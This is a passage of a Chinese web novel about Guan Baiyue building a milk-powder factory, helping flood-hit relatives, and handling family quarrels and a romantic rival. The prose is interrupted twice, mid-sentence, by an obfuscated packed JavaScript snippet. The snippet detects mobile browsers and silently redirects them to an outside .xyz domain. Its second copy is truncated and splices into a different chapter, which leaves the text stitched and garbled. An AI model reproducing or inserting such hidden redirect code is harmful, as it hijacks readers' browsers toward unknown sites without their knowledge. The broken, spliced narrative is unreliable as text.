宋柔叹口气,对关百钺笑笑,上前两步安抚性地拍拍鲁帆的后背:“好了,我以后铡草的时候小心些,不会出事儿的。快回去上班吧,才报道没多久,耽误久了,领导该对你有意见了。” 鲁帆嘟着嘴,拉着宋柔到一边,小声道:“妈,这可是你说的,以后铡草可得当心,切到手指头不是玩的。” 宋柔嗯嗯嗯地点头,看着鲁帆一步三回头的离开。等走远了,宋柔才道:“关厂长,让你看笑话了。不用考虑鲁帆的话,我......” 关百钺打断道:“宋老师,我觉得鲁帆说的有道理,您和黎老那些人,割猪草就是浪费时间。不瞒您说,我想在这里建一个奶粉厂,其实也不只生产奶粉,鲜牛奶、酸奶、奶味饮料、奶疙瘩、奶豆腐,只要以牛奶为原材料的,都可以生产。您应该听出来了,需要很多像您这样的专家。您能帮我问问吗,要是有人有意向,我可以申请让你们进厂帮忙。当然,名义上肯定不是很好的工作,不过......” 宋柔越听眼睛越亮,她是喜欢做研究工作的,当时关百钺去农场参观考察,问得最多的就是牛奶、羊奶的事,没想到还真有建厂的打算。她也打听了,关家父母就是研究人员,有学问的人,才会尊重同类,她没什么犹豫地点点头。 “我去给你问,不过不保证去的人多。你也看到了,大家的日子虽然苦,但至少心不累。很多人都被折腾怕了,怕出来再被人关注,到时候......” 宋柔顿住没往下说,关百钺却明白她的意思,他保证道:“我明白,宋老师,您只管去问,只要想来的,我都欢迎,也会想办法让大家安心做研究的。” 洪常胜全程没说话,等宋柔离开,他才道:“哥,要是要了这些人,厂子里保卫科的人可得好好选,信不过的都不能要。” 关百钺:“行,长大了,哥记住了。” 因着这件事,和农场的谈判倒是出奇的顺利。农场场长姓韩,叼着烟,一脸的风霜,脸上沟沟坎坎的,跟农村的汉子没什么区别,他说:“我听宋柔说了,既然你都猜到了,我也不瞒你,那里。” 他指指被篱笆围起来的一片牛圈羊圈,道:“里面住的都是跟小柔一样的人,和牛、羊一起住,才不惹人注意。你要是想要那些人,给你不难,就是待遇不能太好,如今外面......你也知道,太好了会被说闲话的。” 见关百钺点点头,他才继续道:“小柔......小柔的身份有些复杂,你要有心理准备。” 他狠狠吸了几口烟,这才继续道:“她娘是姨太太,她爹原来是军官,在青江市做的官儿不小,后来逃到那边去了,没带她们娘俩。老太太为了避难,将家财都捐了,这才过了几年好日子,小柔也去上了大学。可运动一开始,她男人就上吊了,老太太也绝食去了,留下她们娘俩。我帮她,也是因为之前老太太捐的那些粮食,救了我全家的命。” 说着叹口气:“大家没揭发,也都是看在当初捐的那些粮食的份儿上。你要是遇上麻烦了,就去找程正道,老太太当年帮过程家的忙,他不会看着不管的。” 关百钺挑挑眉,没想到曲里拐弯的,倒是又和程正道有了瓜葛。他点点头,表示知道了,韩场长又说了几个人,让关百钺做到心里有数。 煤矿那边就更不会为难关百钺了,一来煤矿离得远,说是挨着,其实是挨着农场的边儿,和奶粉厂想要的这一片隔着呢。二来,煤矿之前的粉煤设备,还是关百钺设计并改善的,这样的机械天才,他们供着还来不及呢,根本不会为难。 也就跑了一周的时间,和农场、煤矿都谈好了,关百钺这才去找了周局。周局如今可是意气风发,之前和军队后勤搭上关系,成功将冻干蔬菜卖过去,还卖了好几台冻干机,为粮油公司创造了不少收益。再不看重生产,收益大家还是喜欢的,周局最近几日脸上都挂着笑。 见关百钺来了,更是笑得眼睛都眯起来:“这是吹了什么风,把我们的机械天才吹来了?” 关百钺跟着笑:“这风啊,叫青云直上风。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500786|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周局眼神儿闪了闪,伸手点了点关百钺,示意他坐,又是让水又是嘘寒问暖的,就是不问关百钺什么事儿。 关百钺也不急,周局问什么他答什么,还慢条斯理地端起茶杯喝茶,品评起如今市面上的茶叶,说的头头是道的。 打了一圈儿的太极,还是周局沉不住气,慢悠悠地道:“你小子是无事不登三宝殿,说吧,又有什么事儿?” 关百钺心里笑,周局不想被他牵着鼻子走,可要是这风能送他更上一层楼,不想被牵着也不行,他放下茶杯,正色道:“周局,我去东郊农场考察了,农场里的牛有近一百头,羊也有快两百只,规模在省里也是数一数二的。我最近呢,就在考虑建立一个奶粉厂的事儿......” 周局听得眼睛都亮了,要是奶粉厂建起来,就冲着能近便买到奶粉,都是多大的人情啊。他如今到了升迁的坎儿上,要是有奶粉走人情......越想越兴奋,忍不住直搓手,和关百钺恨不能称兄道弟。 这边谈的十分顺利,周局一锤定音,建,一定要建,还要建大,建强。那边文工团呢,演出也是演老了的,一点儿差错也没有。就连以前还想找茬拍马屁的孙巧云,也老老实实演出,就想着能给台下的领导留下好印象,以后找对象也容易些。 许是最近去农场去的勤,晚上吃完饭,隔壁的顾云岚上门了。自打顾云凯结婚以后,黄咏梅隔三差五地给顾云岚介绍对象,条件已经从鳏夫降到四五十岁的老头子,只求尽快打发闺女出门子,逼得顾云岚没法子,在家里呆不下去,这不,求上门了。 “百钺,我也不难为你,也不打听你去农场干啥。我就想问问,能调我去农场那边吗?你们也看到了,家里我是一天也呆不下去了。”弟弟一个人,还会给她说话,可如今结了婚,说话也不那么坚决了,再在家里住下去,不仅和母亲要闹翻,就是弟弟,将来也落不下什么情份。 关百钺多看了几眼顾云岚,建工厂的话,肯定是要有人盯着的。常胜可以去,女人的话,顾云岚还真合适。她之前下过乡,七年呢,城里姑娘的骄矜之气,早在七年的时间里磨平了。如今出去能和乡下的大姑娘小媳妇打成一片。 别小看这个能力,建厂子只需要男人吗?肯定不是,细碎的活儿女人也是能干的,按时下的标准,工资还比男人低,工地上有时候就爱用这些人。那就需要这么一个人,去管理她们。 他沉吟片刻,没把话说死,而是道:“云岚姐,你的事儿我知道了。明儿我去跟领导商量商量,看看把你往哪里调合适,明儿再答复你,怎么样?”没把他是负责人的事儿往出露。 顾云岚连连点头,眼圈儿都红了:“行,我得谢谢你,谢谢你能伸把手。” 说着低下头,良久才重新抬起,指了指带来的两双布鞋,笑着道:“清云,这是我给你做的,拿去穿吧,我走了。”说着抹了把脸,不等章清云开口拒绝,蹭蹭蹭离开了。 也就两天的时间,顾云岚被调去郊区看厂子,从顾家搬了出去。 五月,唐春梅和程紫鹃先后生孩子,巧了,一男一女。唐春梅的儿子当场被取名章鸿途,晋升为爸爸的章清洋乐得哈哈笑,一个劲儿说他儿子有本事,将来是要一展宏图的。程紫鹃的小闺女生下来红通通的,据护士说,这样的孩子,以后白净,喜得刘念东这个傻爹哈哈乐。 入夏后,雨水格外多,等大堂嫂宋甜甜产女时,老家三河大队发水,农田被淹了一半,今年的粮食肯定是要减产的。章砚廷和章砚臻哥俩不放心,老家还有爷奶爹娘呢,听说后连夜去老家看望。 天气不好,文工团的演出不多,关百钺是领导,最近总是往郊区跑,时间也充沛,两人陪着去了一趟。好在老家的房子地势高,没被淹,章家老太爷听说要带他们进城住,一个劲儿摇头:“不去,就是死......也要死在老家,叶落归根,哪儿也不去。” 早些年在京城,老爷子也是漂泊过的,如今老了老了,格外的念家,谁劝都没用。司南抱着半岁多的儿子,也开口劝:“太爷爷,您要是不回去,爷奶他们也没办法回,何必呢?城里房子好着呢,家里房间也够......” 章大力手摇地跟拨浪鼓似的:“不去,强子想去城里就去,你们全跟去都行,我不管,反正我不去。”人一老,就跟小孩儿似的,还犯起了倔,闭上眼不看人,一副拒绝交流的架势。 见状,章清云也不劝了,眼光在屋里皴寻了一圈儿,低声问:“三哥呢?怎么不在家?” 司南嘘了一声,将儿子塞给章清云,下炕将门拉开一条缝儿,探头往外瞧,确定没人,这才关上门低声道:“这不是遭灾了嘛,听说隔壁的农场那边一点儿没事,清宇和村里那些人,就想去农场瞧瞧,看看能不能弄来粮食。”说完可能也觉得不妥当,低下头不敢看人。 “胡闹!”章砚廷气得直喘气,三河大队在青江市西郊,而市区的农场在东郊,根本就不挨着。司南口里的农场,属于隔壁市管辖,这要是被抓着了,说情都没处说! 司南缩了缩脖子,声音里透着委屈:“我劝了,清宇不听,说是日子都要过不下去了,管不了那么多。” “这个混小子!他两个哥哥呢,我这个老爸也还在呢,哪里就过不下去了。他这是老毛病又犯了!说,是不是又跟一群混小子瞎胡闹呢?”章砚廷脸通红通红的,胸口不住的起伏。 “他爸,别气,老三不会这么不靠谱的,他孩子都有了,不会再胡闹的。”邵华也着急,可男人都快气晕了,她只能开口劝,同时也有些怨怪这个儿媳妇,原来觉得是个靠谱的,能劝得住老三,谁知道也是个不中用的。 蔡奶奶发话了:“这事儿不怪司南,你们做父母的,身份在哪儿摆着呢,都劝不住孩子,还指望司南劝住?你们想想,清宇是那什么都听媳妇的人?” 章砚廷:“......”他可没说一句怪儿媳妇的话。 邵华:“......”我只心里怨怨,可从来没说出来过。 气氛一时有些尴尬,见状,章清云道:“爷奶,你们别急,三哥不是个胡来的,肯定是听说了什么信儿,才出去的。司南,你知道跟三哥一起的都有谁吗?我和百钺去问问,不一定就会出事儿。”就是出事儿,也得平了啊,这么近的关系,清远还要当兵呢,可不能有什么污点。 章清云冲关百钺使眼色,关百钺会意,笑着劝:“是啊,三哥虽然在外面混,可是个心里有数的,从来不会乱来。” 关百钺算是如今章家最有出息的后辈了,众人闻言皆是心里一松。司南忙说了几个名字,都是平时和章清宇关系比较好的,关百钺和章清云没多耽搁,起身去外面打听了。 正值傍晚时分,本来该做晚饭的,村里冒炊烟的却没几家。遭灾了,缺粮食,最早砍掉的,就是晚饭。晚上又不用干活,吃什么吃,饿了就去睡,还省粮食了呢。 去了三家,都是早早就熄灯了的。两人敲了第四家的门,终于听见窸窸窣窣地声音。不多时,门咯吱一声打开,开门的是个年轻的男人,看着不足二十五,应该就是和章清宇关系不错的柱子。 章清云没耽搁,直接问了章清宇的去处。 柱子低着头,支支吾吾不肯说实话,章清云吓唬道:“柱子哥,要是三哥他们被抓了,你没及时告知大家他们的去处,你说那些人的家里人找不找你?你们平时关系就好,大家都知道,万一出什么事儿,赖也要赖上你的,谁让你知情不报呢。” 被叫做柱子的男人唬了一跳,连连摆手:“没,没,我没知情不报,我就是......就是......” 后面跟出来的小媳妇儿急了,上手就拍柱子的后脊梁:“不是什么不是,家里一大帮子人呢,你要是有个什么好歹,让我们怎么活啊!说,藏什么,你是想逼死我们娘几个啊......”说着还呜呜呜的哭。 柱子这才像被压弯了脊梁一般,低声道:“那什么,隔壁农场的土豆熟了,听说都收完了,清宇他们就是去拾荒的,拿着耙子在地里再翻一遍,拾捡别人剩下的,不是偷,真的,我们哪儿有那个胆子。” 关百钺了然,这种的,一般都是农场的家属拾第一波,剩下才会放附近的村民进去。章清宇他们估计是等不到第二波,想抢这个先吧。他递过去一根烟,道:“行,我知道了,谢谢柱子哥了。” 柱子连连摆手:“都是没办法才去的。大队的麦子被淹了大半,救济粮下来还得一段时间,很多人家里都接不上顿了,这才去农场拾荒。你......你要是有办法,能不能帮帮大家,农场是公家的,俺们都知道,可这不是没办法嘛......” 关百钺点头:“柱子哥放心,不会出事儿的。我马上去那边一趟,你睡吧。” 等走远了,章清云领着关百钺去拜访了队长和老支书,将情况说了。老支书狠狠抽了几口旱烟,炕周马上烟雾缭绕,等能看清了,老支书脸上的皱纹都似更深了,他说:“关家小子,你说怎么办,为了村里的后生,就是舍了我这张老脸,我也跟你去。就是......就是千万别让关进去,怎么罚我们都认......” 大队长急得拍胸脯:“是不是要去那边的农场?我和支书跟你去,村里是遭灾了,孩子们也是饿得没办法了,这才去拾荒的,要打要罚都听那边的,我和支书没二话。” “没那么严重。”关百钺低声道,“隔壁的农场属于军垦,军民一家亲嘛,咱们过去将事情一说,那边应该不会计较。就是得麻烦二位跟我去一趟,您二位是大队领导,出面比我好使。”万一要计较,少不得要动用关爷爷关奶奶的面子了。 两位老人当然不会推辞,章清云没跟着,而是将自行车推来,大队长和关百钺一人一辆,老支书坐在关百钺后座上,就这么朝农场而去。 62. 工地闹事感慨多 忙活了一晚上,天刚擦亮的时候,农场那边派了车过来,送来了一卡车的土豆,都不是好的,要么小的跟鹌鹑蛋似的,要么刨的时候不小心给刨烂了,就这么拉来了一车。 章清宇从车上跳下来,怂头搭脑的。关百钺是堂妹夫,很多话不好讲。 章砚臻作为二叔,狠狠拍了他后背几巴掌,细细讲里面的道理:“那边都是军人,能看着附近的村民饿肚子吗?大大方方的去说,都会伸把手的,你这种什么都不说,偷偷摸摸去做的事儿,可就只这一次了,下次要再这么着,就是百钺能管,我也不让他管了,非给你个教训不可,听见没?” 邵华也一个劲儿拍打儿子的后背:“就不该管他!这么大了,孩子都半岁了,还跟以前似的胡闹,这要是被抓了,你想过司南和鸿运没有?你个臭小子,你两个哥哥呢,我和你爸也都有工作,能看着你和司南饿着?就算你饿着,也不会让我孙子、让爹娘爷奶他们饿着的!你个不省心的狗怂货!”哭着骂着,一把鼻涕一把泪的,一晚上的担惊受怕总算是发泄了出来。 这时候偷盗集体财产可是重罪!幸亏百钺去找老支书他们,算是把事情抹了,要不然可怎么办啊。 不远处,农场司机被大家热情地围起来,又是要领着去村委那边,好吃好喝的招待,又是给塞烟的。那司机手都摆出残影儿了,一个劲儿说:“不用,我这就走了,农场还要用车呢。大家把土豆子卸下来,我不能多呆。” 忙忙叨叨的,不到半个小时就卸了下来,司机跳上卡车,突突突逃也似的走了。土豆堆得跟小山似的,老支书和队长要商量着怎么分土豆,章家这些人呢,也都得回市里去拿粮食。老人们都不回城,只得把粮食送回来,让清宇和司南两口子照顾着,这才放心。 送完粮食,正准备走呢,老支书带着人来了,特意给章家送了四条大鲤鱼。发水的时候从上游冲下来的,每家每户都捞了好些,村委会房前屋后也都晾着呢,关家小子帮了村里这么大的忙,给四条鲤鱼也是该的,村里没人有意见。 章清宇一个劲儿给关百钺使眼色,示意他别客气,只管拿。关百钺没办法,只得伸手接了,等送完老支书回来的时候,章清宇低声道:“家家户户都有鱼,就是缺粮食,你们回去的时候给邻里邻居都说说,要是想用粮食换鱼的,都只管答应。别怕鱼不够,如今水大,下几网子就有了。” 章砚廷拍了儿子的头一下:“麻烦人家百钺干啥,这事儿我给你办。” 之后又连着两个礼拜,周末就往三河大队赶,见都没饿着,这才放心。也是这次大雨的影响范围不大,仅限周边两三个市区,救济粮下来之后,夏季涨水危机总算过去,章家的日子归于平静,关百钺和章清云也能歇几天,不用总往三河大队跑了。 也是没时间跑了,八月末,关盈钺产子,师援军早给罗霞去信,名字都取好了,就叫师康,只希望将来是个健康的人,出息不出息无所谓,平安健康比什么都强。 本来康字是犯了关家康的忌讳的,毕竟按照老理儿,取名字得避长者讳。但谁让如今是这么个环境呢,罗霞跟关家康通过气儿,希望用这种方式,间接地表明立场和态度,他们是相信科学,相信伟人思想能战胜一切的。 那就没人能说什么了。没人伺候月子,章清云忙开了,下班了就往师家跑。洗尿布、换尿布不用她管,但家里的其他活儿总得帮忙做。再不济,还能帮着打饭,买些老母鸡、鸡蛋、猪蹄等坐月子要用到的东西。 关百钺也没闲着,郊区的工厂在建,时不时能打到些野兔子,填水洼的时候也能挖到些泥鳅黄鳝之类的,他都和人换成猪肉送过来。因着出手大方,不在乎吃点儿亏,大家都愿意跟他换。这一个月,关盈钺都没受什么罪,舒舒服服地做完了月子。 关盈钺坐月子期间,还发生了一件糟心事儿,其实也不是糟心,就是挺一言难尽的,那就是卢建设领着魏雪上了关家的门,手里还拿着结婚证。 看卢建设的脸色,章清云猜到几分,果然,只听卢建设道:“哥,多亏你提的建议,公社如今正准备办罐头厂呢,我也被推荐去上大学,过几天就得去报道。就是青江北边的农林学院,学三年。” 他挠挠头,继续道:“今儿我和小雪来补办结婚证,好久不来看哥和嫂子,这不,空着手就来了,哥你别见怪。” 魏雪看着成熟了许多,笑容真挚,只是那份甜蜜,好似低了几度,她说:“哥,我参加了公社的赤脚医生培训,学个大半年,就能做医生了。” 关百钺这才笑了,叮嘱道:“好好学,姑姑和姑父都是医生,家里的书都还在,回去整理整理,都带回去,别给姑姑和姑父丢脸。” “哎。”感觉到表哥的关心不似作伪,魏雪才继续道,“我都计划好了,赤脚医生培训后,有个一年的临床经验,之后就能参加县里医院的培训了,到时候我就报名,我现在......现在觉得学医也挺有意思的。” 章清云笑了,这是跟卢建设久了,虽然还是喜欢他,但也知道,事业不能丢下吧。她就说嘛,从关百钺和关盈钺的态度就知道,那名叫关家和的姑姑,该是个女强人才对,她生下来并教养长大的闺女,不该恋爱脑,就算一时糊涂,慢慢也会明白过来的。 卢建设和魏雪也没多呆,坐了不到一个小时,就离开了,还得去看关盈钺和小外甥呢。 大学开学前,吴军带着叶宛如也来家里拜访,见了关百钺,吴军戏称关百钺是两人的媒人:“要不是百钺哥帮我得到了大学的推荐名额,我也遇不到宛如,我俩也成不了。” 这话关百钺可不认,他笑道:“少来,你俩之前又不是不认识?再说,既然说我是媒人,谢媒礼都不带,可没诚意啊。” 说说笑笑的,叶宛如的眉眼看着比之前舒展多了,闻言笑着道:“我是来谢谢清云的,之前给的那次零食可算是救了我一命,要不是那袋子东西,火车上我就得被拐跑。” 怎么回事儿呢,原来这俩人念的大学都不在青江市,得坐火车才能到。那次也是叶宛如不谨慎,火车上被一个老大娘套了话,下车时老太太拉着她走,旁边还蹿出个大汉,说她是家里逃出来的小媳妇儿,受不了穷等等。 叶宛如拼命说不是,无奈老大娘将叶宛如的情况说的清清楚楚。大家一看,这俩是认识的,那就别管闲事儿了。还是叶宛如高声嚷,谁帮她报警,一袋子吃的都给她。大家一看,好家伙,那袋子里可是有麦乳精的!谁不心动,这才避免了被拐卖。 也是后来再次坐车,遇见了吴军,两人才看对眼儿的。 四人交集实在不多,来一趟是个态度,并不是说以后就是挚友了,又说了几句闲话,略坐坐也就离开了。 倒是古美和沈洲来了之后,坐了许久。为啥呢,沈洲终于得到推荐名额,要去读大学了。好家伙,进来就兴奋地哈哈笑,一个劲儿说当时选举时的事儿。 “可惊险了,我和另外两人,一个叫吴燕,一个叫孙威的,票咬的可紧了。最后时刻两人还在我前面,我都死心了,以为不可能轮到我了,谁知道票刚唱完,哎呦妈呀,闹开了!呼啦啦进来一大帮子人,上来就拽吴燕,说她勾引别人男人......” 巴拉巴拉的,说得口沫横飞,一看就没少讲。章清云听得只想笑,低声问古美:“报道了吗?别夜长梦多。” 古美:“不能够,公示一周之后就报道了,放心。不然我也不会让他说的,低调还来不及呢,哪儿能遇见人就说。” 呆了能有两个小时,茶都泡的没颜色了,才起身离开。就这么的,到了九月,该开学的开学,该上班的继续上班。 工厂建了四个多月,雏形出来了,这日关百钺带着洪常胜去郊区,想确认工厂什么时候能建好。 骑着自行车,还没到地方呢,就听到吵嚷声,听那动静人还不少,百十来个总是有的,两人对视一眼,都开始狠命蹬自行车,这不会出什么事儿吧? 什么事儿,花花事儿!也是之前受灾闹的,不仅三河大队所在的西郊受灾了,东郊这边也过河啊,那能不发水嘛。好在是下游,受灾面积没三河大队大,但也有一个坏处,那就是救济粮没有他们的份儿。 没救济粮也得活啊,胆子大的,去农场偷东西填饱肚子,胆子小的,只得打别的主意。 什么主意呢,工地做工的主意。这是日日能有进账的正经事,有进账就能吃饱。于是周围的大队,只要还能走得动的,就都来工地上找活儿干。 想来的人一多,那负责招小工的权利就大。本来顾云岚调来,是负责看女工的,可是她一个女人,本来在工地这种男人多的地方,话语权就少,招工的权利大了之后,被建筑队的集体架空了。看着女人做工可以,招人还得是他们建筑队来,你一个奶粉厂的工人,懂什么? 就这么着,在顾云岚不知道的时候,建筑队的工人和村上的一些小媳妇儿勾搭上了。如今工厂建的差不多了,怕人跑了,小媳妇儿的丈夫和夫家一群人,百十来个,又是铁锨又是棍棒的,将建筑队围了起来,吵吵嚷嚷地让建筑队负责。 关百钺和洪常胜到的时候,见到的就是这么个情形。建筑队的人理亏,二十多个被围在里面,愣是没人敢说话。还是队长见关百钺来了,才道:“东家来了,要谈去跟东家谈,我们做不了主。” 好家伙,呼啦啦全看过来,眼神儿跟要吃人的饿狼似的。咋的,想打人?洪常胜瞬间高声道:“怎么的,人多欺负人少?!你们打听打听去,这地方以后可是省里的重点单位,不是你们随便撒野的地方!” 关百钺忙拉住洪常胜,高声道:“大家好,我是工地的负责人关百钺,大家就算是不满,总得让我知道发生了什么事儿吧?” “什么事儿?你这工地上的人不地道!勾搭我们村里的小媳妇儿,如今工厂建的差不多了,这就想走了?没门儿!我们村里可不答应。” “就是,这些小工头最不是东西,来这里做工还得给他们好处,小媳妇儿们不给他们占便宜,都不能来!你们说说,这还是个人了?!” 一个个的怨气极重。关百钺了然,今儿这事儿不小,要是没处理好,非出大事儿不可。等大家说完,他道:“这样大家看行不行,我去市里找警察,咱们让警察来处理,要是真的犯事儿了,我肯定不包庇......” 话音还没落,建筑队的人脸都白了,令人意外的是,来闹事儿的村民也不同意,一个个的叫嚷:“不能叫警察,你们是公家单位,警察肯定偏着你们。” “就是,赔钱,还得一家赔我们一个工作,这样才行。” “对,赔钱赔工作,不然我们可不答应。” 洪常胜不屑的冷笑,戴绿帽子了,还想着工作和钱,没有血性!刚想讥讽几句,被关百钺狠狠瞪了一眼,这才闭嘴没说话。 等人群安静下来,关百钺抬抬手,道:“这样,我跟建筑队的人商量商量,看看他们同意不同意大家的要求。” 建筑队能说什么,不同意今儿就不能善了,关百钺这边要是报警,他们都得进去。被拉到一边的队长试着道:“钱我们能赔,就是工作......” 关百钺冷笑:“奶粉厂是省里的重点单位,工作的事儿我做不了主。今儿这事儿是你们惹出来的,不是我们奶粉厂,要是不同意村民的赔偿要求,咱们就找警察。” “别,别。”队长手都颤了,他也不干净,经不起查,许久,他咬咬牙,点头道,“行,我问问大家都招惹了谁,也不能每家都赔工作。” 关百钺呵呵冷笑了两声,这才看着队长和一干工人说话。 见只剩关百钺和洪常胜了,顾云岚才被人扶着,一瘸一拐地过来,低声将招工的猫腻说了:“我以为他们是跟村里的人认识,毕竟受灾了嘛,想招亲戚照顾照顾,我就没说啥。没想到是存着这样的心思。这次是我疏忽了,该怎么罚怎么罚,我都认。” 关百钺摆摆手,这事儿谁来都得被架空。他们就是监督的,施工都是建筑队这边的人,奶粉厂自己人本来就少,他说:“这事儿不怨云岚姐。” 说着看了眼扶顾云岚的男人,试探着说:“鲁帆?” 鲁帆点点头,怜惜地看了眼顾云岚,沉声道:“要不是我来的早,云岚得被建筑队的人推出去挡枪。” 闻言,关百钺肃了脸,鲁帆继续道:“那边想推卸责任,说云岚管理不严,让不怀好意的村民钻了空子,腐蚀了工人阶级。要不是云岚是女的,还不知道怎么样呢。” 这就不能原谅了!关百钺冷笑两声,对这次的建筑队十分不满,要不是周局推荐的,他早赶人了! 另一边,建筑队终于统计了大概的人数,和村民讨价还价。有稀罕钱的,多给些。有一口咬定要工作的,只答应让他们在建筑队做临时工,正式工的名额没有。吵吵嚷嚷的,从早上十点多,闹到太阳都落山了,事情才算完。 那拿了钱和工作的小伙子也不见高兴,铁青着脸离开,走远了,还能听见压抑的哭声。都是穷闹的,穷,吃不饱饭,连尊严都没了,换成了活命的钱和工作。 可这事儿就这么结束了吗?怎么可能!等能再次吃饱了,他们就该想起今日丢的尊严了,那时候为了活命,主动或被动‘背叛’他们的妻子,他们能原谅? 想到日后的闹剧,关百钺忍不住剜了这些建筑工人几眼,一个个不是人的玩意儿,这是往每个人心窝里扎刀子,也是往人家家里扔炸弹呢,不知道哪天就炸开了。 虽然工厂快建好了,但出了这事儿,多闹心! 回到家都没有个好心情,好在关盈钺带着侄子侄女过来看章清云,有小孩子叽叽喳喳的调解气氛,关百钺终于不摆脸子了。 大侄女师安也两岁了,如今能跑能跳的,嘴又甜,见小舅舅笑了,忍不住说:“舅舅,你有不高兴的跟安安说,就没事儿了。爸爸说,什么烦心事儿,见了安安就好了,是不是,爸爸?” 师援军笑:“是,我们安安最厉害了,什么烦心事儿见了你,都得自动避开。” 虽然有不愉快,工厂还是在十月上旬竣工,为了庆祝奶粉厂建立,关百钺还正式向文工团的章清云同志发出了邀请,指名道姓地请她去演出。 知道是两口子在耍花腔,向党眼皮都没眨一下,利索地就批了演出邀请,还特意去训练室溜了一圈儿。文工团众人嗷嗷叫唤,都说要派章清云为代表,多跟人家厂长大人要些补贴。 好在关百钺会做人,准备的补贴不少,谢幕时一股脑儿塞给了章清云,又引起台上的众人哄笑。只一个人紧紧盯着洪常胜,笑的有几分深意。 谁呢,孙巧云。 安生这么久,孙巧云想做的,可不就是找个好人家嫁了。如今看着年轻英俊的洪常胜,忍不住动了心思。之前那些老头子虽然官儿大,可都有孩子,她可不想像蓝可人一样,给人做后妈!不管洪常胜有没有对象,她孙巧云都要定了! 关百钺并不知道,他们夫妻俩闹着玩儿的举动,给洪常胜带来了麻烦。章清云也没注意那边啊,还是一次训练时,姚燕妮提醒她:“洪常胜的对象是叫常碧云吧?” 章清云点点头:“你认识?” 姚燕妮翻个白眼儿:“都是市政大院的,当然认识了。你可长点儿心吧。” 说着朝孙巧云的方向努努嘴儿,低声道:“她可缠了洪常胜好几天了,每次下班都去部队大院找人,昨天我还看到常胜和碧云吵架呢。” 章清云唬了一跳,洪常胜可是洪安娜的弟弟,洪安娜对两人可正经不错!她忙感谢道:“真是谢谢你提醒,我今天就去找常胜,这事儿不能拖。” 可不是,章清云一下班就去部队大院找洪安娜,两人没耽搁,当即去了洪家。洪常胜不在,章清云往关家打了个电话,刚开始没人接,半个小时后再打,关百钺才接起来。 听说章清云在洪家,关百钺二话不说就要过去,章清云忙道:“常胜跟你在一起吗?” “不在。” 章清云:“这样,你先去市政大院找找常胜,不在的话再来洪家。” “是常胜出什么事儿了?” 章清云叹口气,将团里有人想追洪常胜的事儿说了,当着洪安娜的面,章清云不好意思地道:“都怪咱俩胡闹,要是没有那次演出......” 洪安娜摆摆手:“不关你们的事儿。是常胜这小子胡闹,跟碧云谈了这么久,都不说结婚。今儿我得问问他,到底想怎么样!” 关百钺在电话的另一边点点头:“行,我知道了,一定把常胜带来。” 好在洪常胜没乱跑,顺利地在市政大院找到了人。这小子被常碧云关在门外,正好声好气地解释呢,见到关百钺还说呢:“碧云,百钺哥来了,我要是有一句假话,就让百钺哥把我开除了,行不行?我跟那个孙巧云真的没什么,你相信我。” 常碧云哼一声,没接话。 关百钺瞪了这小子一眼,开口道:“常胜,刚安娜往关家打电话,说找你有事儿,让我赶紧带你回去。” 洪常胜哎呦一声,边跟常碧云解释,边往外走:“碧云,我姐那里肯定出事儿了,不然也不能打电话,我先过去了,明儿再找你啊。你别生气。” 说着蹭蹭蹭往外走,常碧云腾一声打开门,见人还在门口没动地方呢,知道受骗了,哼一声,又把门使劲儿关上。 洪常胜嘿嘿的笑了两声,这才脚步轻快的离开。远远看见部队大院儿了,也将门口的情况瞧了个清楚,门卫那里等着的,不正是孙巧云? 洪常胜皱眉,一把拉住关百钺的自行车车头:“哥,咱们从后门进去。” 关百钺眯眼,盯得挺紧啊。他指指洪常胜,跟着调转了方向。等来到洪家时,已经快七点了。 洪安娜气得直运气:“说,你和那个叫孙巧云的,接触过没有?” 洪常胜那个冤啊:“姐啊,我哪儿敢啊。再说,我最近都是跟着百钺哥的,可一直在忙奶粉厂的事儿,根本没时间乱来,您就是不信我,也得信百钺哥啊。” 见弟弟换好鞋子进来了,洪安娜腾地站起来,一把揪住洪常胜的耳朵,业务十分娴熟:“要是没接触,她怎么总往家里来?妈说都见过她一次!说实话!” 洪常胜哎呦一声,赶紧解释:“姐啊,孙巧云长着腿呢,她想来我还能拦着?你问妈,她来的时候我都不在,我也是事后才知道的。我可真是比窦娥都冤。” 洪母韩佳端坐在沙发上,看着闺女揍儿子笑眯了眼:“那也是你之前不懂事儿,当什么顽主,名声不好,人家小姑娘才来缠着你。你看看沈家的爱华,到年龄了早早就去当兵,一点儿也不乱来,给家里找过事儿没有?” 洪常胜嗐了一声:“我的妈哎,那沈爱华再好,也不是您儿子。谁让您运气不好,生了我这么个不争气的呢,您就多包涵包涵,别一个劲儿羡慕别人。您儿子如今也不差,奶粉厂里负责一大摊子事儿呢,那每天多少小..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周一早晨很少有这么吵的,章清云皱眉,披上衣服就往外走,关百钺紧随其后,打开门才发现,好家伙,家门口围了一圈儿的人,最中间是抱着孩子的黄咏梅,见两人出来了,高声道:“百钺,清云,你们可真够作孽的。人家把孩子放你们家门口,你们就听不到声响?孩子冻了一晚上,小脸儿都紫了,要不是我睡觉轻,大半夜的起来看,说不得都被冻死了!” 关百钺皱眉,看了眼幸灾乐祸的黄咏梅,朗声道:“黄阿姨,您说这孩子是放在我们家门口,还有谁看见了?我只知道,一大早,是你抱着孩子的。” 黄咏梅哈了一声:“怎么,怕我诬赖你们啊?我家云凯可也瞧见了。大家评评理,要不是我警觉,孩子都冻死了,关百钺还一个劲儿说我诬赖他......” 关百钺:“我可没说过这话。而且你也说了,是有人扔孩子,那孩子被冻坏,该怪的是扔孩子的人吧?怎么能说是我和清云的责任?您这也未免太胡搅蛮缠了。” 